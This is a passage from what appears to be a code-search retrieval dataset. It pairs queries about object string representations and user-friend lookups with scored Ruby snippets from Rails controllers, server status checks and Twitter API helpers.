master?\n state = get_es_resource(\"/_cluster/state?filter_routing_table=true&filter_metadata=true&filter_indices=true&filter_blocks=true&filter_nodes=true\")\n local = get_es_resource('/_nodes/_local')\n local['nodes'].keys.first == state['master_node']\n end", "title": "" }, { "docid": "5a7025a1bccb3760fb624652a3d36015", "score": "0.530698", "text": "def is_root_site?\n @depth == 0\n end", "title": "" }, { "docid": "7f4f87d4e3eae37711d881959157299a", "score": "0.5305044", "text": "def get_server_path\n @host=request.host.to_s\n @port=request.port.to_s\n @serverURL=\"http://#{@host}\"\n @serverURL = @serverURL + \":#{@port}\" unless @port == \"80\"\n end", "title": "" }, { "docid": "3091c333b009c948ce47a5dd1e9714fe", "score": "0.5303171", "text": "def root\n application && application.config.root\n end", "title": "" }, { "docid": "999ae3af60c5ccef975d75745d9f3d85", "score": "0.5302774", "text": "def working?\n return true if @httpserv and @httpserv.working_count > 0\n return false\n end", "title": "" }, { "docid": "4a99dcc7afd35b9e63143613992ab972", "score": "0.53014857", "text": "def check_root\n\t# Make sure we are running as root\n\tprint_status(\"Checking if running as root\")\n\tif Process.uid != 0\n\t\tprint_error(\"You are not running as Root!\")\n\t\texit\n\tend\n\t# Make sure we are running in Linux\n\tif not RUBY_PLATFORM =~ /linux/\n\t\tprint_error(\"This script only works in linux\")\n\t\texit\n\tend\nend", "title": "" }, { "docid": "ff994aec0fd4b23eefc07f4e56be92f9", "score": "0.52966315", "text": "def primitive_has_master_running?(primitive, node = nil)\n is_multistate = primitive_is_multistate? primitive\n return is_multistate unless is_multistate\n status = primitive_status primitive, node\n return status unless status\n status == 'master'\n end", "title": "" }, { "docid": "48c92240eb9f7fcf2a7f5b187145e357", "score": "0.5291868", "text": "def running?\n @server_thread && @server_thread.alive?\n end", "title": "" }, { "docid": "b72013eb4306e46a3b9da1d7833ce502", "score": "0.5291179", "text": "def slave?\n self.type == 'SLAVE'\n end", "title": "" }, { "docid": "05fcf96d779ba400ed7e33163a75bc72", "score": "0.52799064", "text": "def current_server\n \"#{request.protocol}#{request.host_with_port}\"\n end", "title": "" }, { "docid": "c6ac7fe15562ec90f2c5eedbad6687e8", "score": "0.5277339", "text": "def sim_is_running?\n not sim_pid.nil?\n end", "title": "" }, { "docid": "79a50d279b063c9bb8a8c294b08eb130", "score": "0.5276187", "text": "def root\n self.config[:root] || Dir.pwd rescue Dir.pwd\n end", "title": "" }, { "docid": "efb12e99724b4766a8962f3979f8b8c0", "score": "0.5273216", "text": "def status\n return true unless config.managed?\n return false if pid.nil?\n\n begin\n Process.getpgid(pid)\n rescue Errno::ESRCH\n return false\n end\n\n begin\n TCPSocket.new(host, port).close\n\n Net::HTTP.start(host, port) do |http|\n http.request(Net::HTTP::Get.new('/'))\n end\n\n true\n rescue Errno::ECONNREFUSED, Errno::EINVAL\n false\n end\n end", "title": "" }, { "docid": "581887fca05c07c346db04dd0e05fcc0", "score": "0.527048", "text": "def path\n\t\tif self.instance_of?(UNIXServer)\n\t\t\t@path\n\t\telse\n\t\t\t\"\"\n\t\tend\n\tend", "title": "" }, { "docid": "f389f2a4e21e22ae882a34c236289493", "score": "0.5266839", "text": "def repository_root\n return unless available?\n root = Licensed::Shell.execute(\"git\", \"rev-parse\", \"--show-toplevel\", allow_failure: true)\n return nil if root.empty?\n root\n end", "title": "" }, { "docid": "d4e3f0440698953bec797ad9ca5b11c8", "score": "0.5265361", "text": "def master_port\n @master_port ||= (user_configuration_from_key('master_solr', 'port') || port).to_i\n end", "title": "" }, { "docid": "d74568bf8027ce254f59d48a3be0a0e2", "score": "0.52570283", "text": "def status\n return true unless managed?\n\n out = exec('status', output: true).read\n out =~ /running on port #{port}/\n end", "title": "" }, { "docid": "9078eb45e40ef20324e4de29393d97e8", "score": "0.52555496", "text": "def sys_root\n '/'\n end", "title": "" } ]
a7a817661c0faa5c863dfc7d8fa829b2
Returns the string representation of the object
[ { "docid": "a408df9f3be79d7c20500741a990725c", "score": "0.0", "text": "def to_s\n to_hash.to_s\n end", "title": "" } ]
[ { "docid": "fbdd4f858146598aaabf84003282a8d1", "score": "0.901777", "text": "def to_s\n @object.to_s\n end", "title": "" }, { "docid": "d69be2e09bbb16dc0e9df0ec2905d3f4", "score": "0.88380826", "text": "def to_s\n\t\treturn self.obj.to_s\n\tend", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "02404f3e844aff8dcfc9b3622bad0ef8", "score": "0.87399364", "text": "def to_s\n @string || @object.to_s\n end", "title": "" }, { "docid": "678626aeedf2a51f0ced828f2ceff9a6", "score": "0.8443926", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} @name=#{name}>\"\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.83409667", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.83409667", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "949ee2fc40124ca888e175c0eed1455e", "score": "0.83380705", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "9de4b58d246a11e5383cd14d25999c96", "score": "0.8332247", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end", "title": "" }, { "docid": "1bb96ca64dfa2a62873721f729ef1280", "score": "0.82396704", "text": "def to_s\n @object.to_s.freeze\n end", "title": "" }, { "docid": "675bce66fdef91212dbe19a9857e1741", "score": "0.82107365", "text": "def to_s\n _raw_instance.to_s\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.812714", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.812714", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.812714", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.812714", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "7416c3e1e8b3046e92041323c0e00f03", "score": "0.808243", "text": "def to_s\r\n dump\r\n end", "title": "" }, { "docid": "dc16640466975aaaac38873b774725f2", "score": "0.80782956", "text": "def to_s\n serialize\n end", "title": "" }, { "docid": "dc16640466975aaaac38873b774725f2", "score": "0.80782956", "text": "def to_s\n serialize\n end", "title": "" }, { "docid": "155e25d5f0afed82a7106ebe1b90691c", "score": "0.80759054", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "c9665cf6d36e290f3e7e69bed1917a71", "score": "0.80726814", "text": "def serialize\n to_s\n end", "title": "" }, { "docid": "952d8a8e8b5c89a708f94d451703a12a", "score": "0.805692", "text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end", "title": "" }, { "docid": "952d8a8e8b5c89a708f94d451703a12a", "score": "0.805692", "text": "def to_s\n objects = to_h.collect { |k, v| \"#{k}=#{v}\" }.join(' ')\n \"#<#{self.class.name}:#{object_id} #{objects}\"\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.80502456", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.80225563", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.80225563", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "adfe0d463793f76edc0508608484c743", "score": "0.80064154", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "b0ef1522a002ae52d75f6969031a934c", "score": "0.79809254", "text": "def to_s\r\n end", "title": "" }, { "docid": "b0ef1522a002ae52d75f6969031a934c", "score": "0.79809254", "text": "def to_s\r\n end", "title": "" }, { "docid": "92175452657e51c44591a1c7015b72fd", "score": "0.7979008", "text": "def inspect\n to_s!\n end", "title": "" }, { "docid": "3675a63771c10d1ccdee44e116437c80", "score": "0.7973928", "text": "def to_s\n self.to_h.inspect\n end", "title": "" }, { "docid": "52dd5faf663b53cadb374ac2d826d788", "score": "0.79672194", "text": "def to_s\n serialize.to_s\n end", "title": "" }, { "docid": "97d9c57822555c523dce3148048d7b1c", "score": "0.7962831", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "97d9c57822555c523dce3148048d7b1c", "score": "0.7962831", "text": "def to_s\n @string\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.79446983", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.79446983", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.79446983", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "d6bed2a77681ae6e5101696e99d03ecd", "score": "0.7940119", "text": "def to_s\n to_h.to_s\n end", "title": "" }, { "docid": "15508caf3f119bdd4d943db10efc66e1", "score": "0.7928534", "text": "def to_s\n return \"#<#{self.class}:#{(self.object_id * 2).to_s(16)} @attributes=#{self.attributes}\"\n end", "title": "" }, { "docid": "83e05374f900a85ad4fc71c35acc4428", "score": "0.7922671", "text": "def inspect\n serialize.to_s\n end", "title": "" }, { "docid": "2e8d71c1fb99c9472e63f1f75be7d858", "score": "0.7922564", "text": "def dump\n to_s\n end", "title": "" }, { "docid": "92df5e1734c67871e41bb52e710873f1", "score": "0.79206944", "text": "def to_s\n \"#<#{self.class.inspect}(#{@name})>\"\n end", "title": "" }, { "docid": "5d15a288f94eb3b75eaeac36ce19d48f", "score": "0.7919419", "text": "def to_s\n @string ||= Builder::ToString.new(self).string\n end", "title": "" }, { "docid": "e836c41071a21d5c7c57bfbda782006f", "score": "0.7917535", "text": "def to_s\n @s\n end", "title": "" }, { "docid": "e9c7394b1a677651a30121fc2bed7989", "score": "0.7909274", "text": "def to_s\n self\n end", "title": "" }, { "docid": "38f04d8671f617b50259203bcc9eb181", "score": "0.7898898", "text": "def to_s\n to_s!\n end", "title": "" }, { "docid": "d13869c5cc419421fbea3c80b2caa9e3", "score": "0.7897556", "text": "def to_s\n to_string\n end", "title": "" }, { "docid": "40a6909d6bf98586a2feefc819abd1e9", "score": "0.7896235", "text": "def to_s\n to_result.inspect\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884661", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884661", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "0217022f868f9d2727b90dbc6b767326", "score": "0.7884661", "text": "def to_s\n proc { |obj| obj.to_s.inspect }\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.788328", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.788328", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.788328", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.78758216", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "b3d03d905f97ad971786ab8dbe483e06", "score": "0.78711545", "text": "def to_s\n \"<#{self.class.name} #{to_str}>\"\n end", "title": "" }, { "docid": "9b555a02cfbee8f1c3923b96194fc2ca", "score": "0.787004", "text": "def to_s()\n return \"[#{@VAR_OBJECT.class.to_s()}, #{@VAR_OBJECT.to_s()}]\"\n end", "title": "" }, { "docid": "364f1784dffe3f0124d6223ec0464340", "score": "0.78684527", "text": "def to_s\r\n end", "title": "" }, { "docid": "364217bde731c34cfd5336c47ea54c11", "score": "0.7866813", "text": "def inspect\n self.to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.7865939", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "86f39c437ffd61e3672aca1c77779b61", "score": "0.7861997", "text": "def to_s\n to_h.inspect\n end", "title": "" }, { "docid": "f62b89fb04345615d4227d734f79a3f2", "score": "0.78553015", "text": "def to_s\n self.to_str\n end", "title": "" }, { "docid": "842f76e004c6c9d9728c81caafab5eb2", "score": "0.7853796", "text": "def _to_s\n \"#<#{self.class}:0x#{object_id << 1} #{ary}>\"\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" }, { "docid": "2b31b8ea95895fe618445791f766ecad", "score": "0.7850519", "text": "def to_s\n end", "title": "" } ]
d639f2e1295088a43b35f8966d08ea9b
GET get a friend of the user /friends/json/show_is_my_friend_by_user_id_and_friend_id/:user_id/friend_id' /friends/json/show_is_my_friend_by_user_id_and_friend_id/206/13.json' // success > head 200 OK
[ { "docid": "6451c32abc0c5677b3c6d9d061d9af64", "score": "0.70572764", "text": "def json_show_is_my_friend_by_user_id_and_friend_id\n respond_to do |format|\n if User.exists?(id:params[:user_id])\n @friends = Friend.where('user_id = ? and user_id_friend = ?',params[:user_id],params[:friend_id])\n @user_friend =\n UsersPhoto.select(\n 'users_photos.user_id,\n users_photos.image_name,\n users_photos.profile_image,\n users_profiles.firstname,\n users_profiles.lastname,\n users.username'\n\n ).where(:user_id => @friends.map {|b| b.user_id_friend})\n .where(\"users_photos.profile_image = 'y'\")\n .joins('LEFT OUTER JOIN users_profiles ON users_profiles.user_id = users_photos.user_id')\n .joins('LEFT OUTER JOIN users ON users.id = users_photos.user_id')\n\n\n format.json { render json: @user_friend }\n\n else\n format.json { render json:'not found user_id ',status: :not_found }\n end\n\n end\n end", "title": "" } ]
[ { "docid": "dc3053d4b0bd36277860b119d83e0cf9", "score": "0.791449", "text": "def show\n if params[:user_id] then\n @friends = Friendship.find_all_by_user_id(params[:user_id])\n else\n @friends = Friendship.find_all_by_user_id(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friends }\n end\n end", "title": "" }, { "docid": "1a5f78f6a58c88c44664da6087a64eff", "score": "0.78686196", "text": "def show\n # GET /friends/1 or /friends/1.json\n end", "title": "" }, { "docid": "d1e0859f398e5282012b15c21e07b925", "score": "0.7840281", "text": "def friends(user_id: '-')\n return get(\"#{API_URI}/#{FRIENDS_API_VERSION}/user/#{user_id}/friends.json\")\n end", "title": "" }, { "docid": "4de3f5003eabe8bab3b6f281083ab970", "score": "0.77925026", "text": "def show\n \t@user = User.find(params[:id])\n \n render json: @user.friends\n end", "title": "" }, { "docid": "6bb15c1674df763feb6196f31813229a", "score": "0.7752796", "text": "def friends\n user = User.find_by(id: params[:user_id])\n if user\n render json: user.friends\n else\n redirect_to :back\n end\n end", "title": "" }, { "docid": "36607669829ec64a82f63ef8168d77b0", "score": "0.7699222", "text": "def show\n @userfriend = Userfriend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @userfriend }\n end\n end", "title": "" }, { "docid": "f7ee97be0a0fe0cd32574f5c6e8cd02e", "score": "0.7565619", "text": "def show\n friend = @user.friends.find_by!(name: params[:name])\n render json: friend\n end", "title": "" }, { "docid": "fc4a0b93d880e64ee2c532ae2b6d24e4", "score": "0.7498301", "text": "def show\n @friend = UserFriend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @friend }\n end\n end", "title": "" }, { "docid": "07ea5ae36524d23fa77689380471533d", "score": "0.74632794", "text": "def show\n @user = User.find(params[:id])\n @friends = @user.get_friends\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "title": "" }, { "docid": "60222da7694b84cf42640384f75823c4", "score": "0.73856425", "text": "def get_friends(user_id = nil, page = 1)\n retcode = 200\n begin\n res = submit_network_request(\"/statuses/friends#{ user_id.nil? ? '' : '/' + user_id.to_s }.json?page=#{page}\")\n return JSON.parse(res.body) if res.code.to_i == 200\n retcode = res.code.to_i\n rescue Exception => e\n throw_general_exception(\"NCTwitter.get_friends()\", e)\n else\n throw_nc_exception(\"NCTwitter.get_friends()\", retcode) end\n end", "title": "" }, { "docid": "0a1581632a37e416f505e16b9585e45d", "score": "0.73517877", "text": "def show\n @user=current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user.friends}\n end\n end", "title": "" }, { "docid": "0286c5a792e2aa732f66d84b362f4ba3", "score": "0.73492813", "text": "def user_friends(params={})\n self.class.get(\"http://api.foursquare.com/v1/friends.json\", :query=>params)\n end", "title": "" }, { "docid": "d956b44e848f2f5382233c773954dd7c", "score": "0.73073375", "text": "def show\n @user = User.find(params[:id])\n\n @friends=@user.friends\n @friends1=[]\n @friends.each do |friend|\n @friends1<< User.find(friend.u_id2)\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "91b73e49cb0261e9ae6069f3c9611876", "score": "0.7302245", "text": "def show\n @friends_with = FriendsWith.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @friends_with }\n end\n end", "title": "" }, { "docid": "0130ef24ce6b55889dc34517017d5a5a", "score": "0.7298656", "text": "def requested_friends\n @user = User.find(params[:user_id])\n @friends = @user.requested_friends\n @title = \"My Requested Friends\"\n respond_to do |format|\n format.html { render :template=>'friends/index' } \n format.xml { render :xml => @friends }\n format.json { render :json => @friends.to_json }\n end\n end", "title": "" }, { "docid": "4381873990c668337caf1dac3efa48bd", "score": "0.7282776", "text": "def show\n @accepted_friend = current_user.friends.include? search_user\n @user = current_user\n if @user || @accepted_friend\n render :show, status: :ok\n else\n render json: { error: \"You're not authorized to access this user's profile\" }\n end\n end", "title": "" }, { "docid": "99c3c873eff0534643f5df8a303700e3", "score": "0.72661835", "text": "def show\n\t @user_id = params[:id].to_s\n\t @friends = Friend.select(\"id, userid, friendid\").where(\"userid = ?\", @user_id)\n end", "title": "" }, { "docid": "7e1c4d247fb545c7e88903591f15c836", "score": "0.72587806", "text": "def get_friendship(user, friend)\r\n find_by_user_id_and_friend_id(user, friend)\r\n end", "title": "" }, { "docid": "0d3246d14d1053148e17ff5ec1772f03", "score": "0.7238336", "text": "def get_friendship(id)\n get(\"/friendships/lookup.json?user_id=#{id}\")\n end", "title": "" }, { "docid": "27d0530e09ae92fef0518d9e8237d422", "score": "0.7234905", "text": "def get_friends\n logged_in?\n get('/prefs/friends.json')\n end", "title": "" }, { "docid": "90e0a55cf49cbe0e8da6225ffafd5a1a", "score": "0.72199243", "text": "def fetch_friends\n if @user.present?\n # fetch friends\n friends = @user.friends.where('(sender = ?) or (friendships.accepted = true)', @user.id)\n\n render json: {\n success: true, \n friends: friends.map{ |friend|\n {\n user_id: friend.id,\n username: friend.displayname,\n avatar: friend.avatar.url(:small)\n }\n }\n } \n end\n end", "title": "" }, { "docid": "c1d82fdd70a5fcaeac990a8233f4b977", "score": "0.7193311", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "c1d82fdd70a5fcaeac990a8233f4b977", "score": "0.7193311", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "c1d82fdd70a5fcaeac990a8233f4b977", "score": "0.7193311", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "c1d82fdd70a5fcaeac990a8233f4b977", "score": "0.7193311", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "c1d82fdd70a5fcaeac990a8233f4b977", "score": "0.7193311", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "30fd70db9bd7df970fda7c8a32c5f7f2", "score": "0.7147465", "text": "def get_friends(user)\r\n ret = []\r\n resp = https(@api_site).get(\"/2/friendships/friends/bilateral.json?uid=#{user.setting.user_id_sina}&count=#{FRIENDS_LIMIT}&access_token=#{user.setting.oauth_sina}\")\r\n#puts resp.body\r\n if resp.class == Net::HTTPOK\r\n users = JSON.parse(resp.body)['users']\r\n ret = users.collect{|u| {:name => u['name'], :avatar => u['avatar_large'], :id => u['screen_name']}}\r\n end\r\n ret\r\n end", "title": "" }, { "docid": "f8830a11c2cd232de35da5b9f7dabff7", "score": "0.7146181", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @friend }\n end\n end", "title": "" }, { "docid": "17fbcf4d7decef64f1e57b3f637fda9b", "score": "0.7144632", "text": "def show\n if params[:id] != nil\n @user = User.find(params[:id])\n else\n @user = User.find session[:user]\n end\n @friends = @user.friends\n end", "title": "" }, { "docid": "c10514143fec971326a899684cf47233", "score": "0.7141807", "text": "def friends\n @client.user(@id, :friends)\n end", "title": "" }, { "docid": "0e7cc336d0fd4fdcfc0941d587015d18", "score": "0.71148026", "text": "def user_friends(user_id, options={})\n response = connection.get do |req|\n req.url \"users/#{user_id}/friends\", options\n end\n return_error_or_body(response, response.body.response.friends)\n end", "title": "" }, { "docid": "8f50cb8ec0473356496f3232dd336766", "score": "0.7107804", "text": "def get_friends\n\t\treturn unless check\n\n\t\tresult = json httpGet( 'https://graph.facebook.com/me/friends?fields=id&limit=5000&access_token=' + session[:token] )\n\t\tunless result[:data]\n\t\t\tbody << result.to_json\n\t\t\treturn\n\t\tend\n\n\t\tids = result[:data].map { |id|\n\t\t\tid[:id].to_i\n\t\t}\n\n\t\tret = db.resultMultiHash :userID, 'SELECT name, T.*\n\t\t\tFROM totals T\n\t\t\tINNER JOIN users ON users.id = userID\n\t\t\tWHERE fbID IN ? OR userID = ?', ids, @id\n\n\t\tbody << @helper.boardAndSort(ret).to_json\n\tend", "title": "" }, { "docid": "82ec737cd55284ef3359733a3a96ed70", "score": "0.71003765", "text": "def get_friends_with_http_info(user_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UsersFriendshipsApi.get_friends ...\"\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling UsersFriendshipsApi.get_friends\"\n end\n # resource path\n local_var_path = \"/users/{user_id}/friends\".sub('{' + 'user_id' + '}', user_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'filter_username'] = opts[:'filter_username'] if !opts[:'filter_username'].nil?\n query_params[:'filter_user_id'] = opts[:'filter_user_id'] if !opts[:'filter_user_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceSimpleUserResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersFriendshipsApi#get_friends\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "bf032a0bfe7d1032630b07048865e924", "score": "0.70957917", "text": "def friends\n @me = current_user\n @friends = User.where('id <> ?', @me.id).order(:name => :asc)\n\n # see views/call/friends.json.jbuilder for field selection\n render :format => :json\n end", "title": "" }, { "docid": "1ee48d1984a78c98a0ae417f2681c864", "score": "0.70901597", "text": "def show\n @friend = Friend.find(params[:id])\n\n respond_with @friend\n end", "title": "" }, { "docid": "c168e70403e1998eff5e7d73ee7be903", "score": "0.70860356", "text": "def friends(options={})\n perform_get(\"statuses/friends.json\", options)\n end", "title": "" }, { "docid": "e6e5d0bdda4a90ab1b7af654cfa38f64", "score": "0.70757544", "text": "def index\n @user = User.first\n friends = Rails.cache.read(@user.token + \"_friends\")\n if friends\n render json: friends, status: 200\n else\n @request = TweetAuth::AuthHeader.new(get_token())\n response = @request.request_data(TweetAuth::get_header_string(get_tokenSecret(), @request.params, \"friends\"),TweetAuth::get_base_url(\"friends\"),\"GET\")\n if !(response.body.include? \"errors\")\n friendIds = Friend.filterTweets(response.body).to_json\n Rails.cache.write(@user.token + \"friends\", friendIds)\n render json: friendIds, status: 200\n else\n render json: response, status: 401\n end\n end\n end", "title": "" }, { "docid": "fd77561e39a2ff27434ddd74543e5ec3", "score": "0.7052003", "text": "def show\n @user = 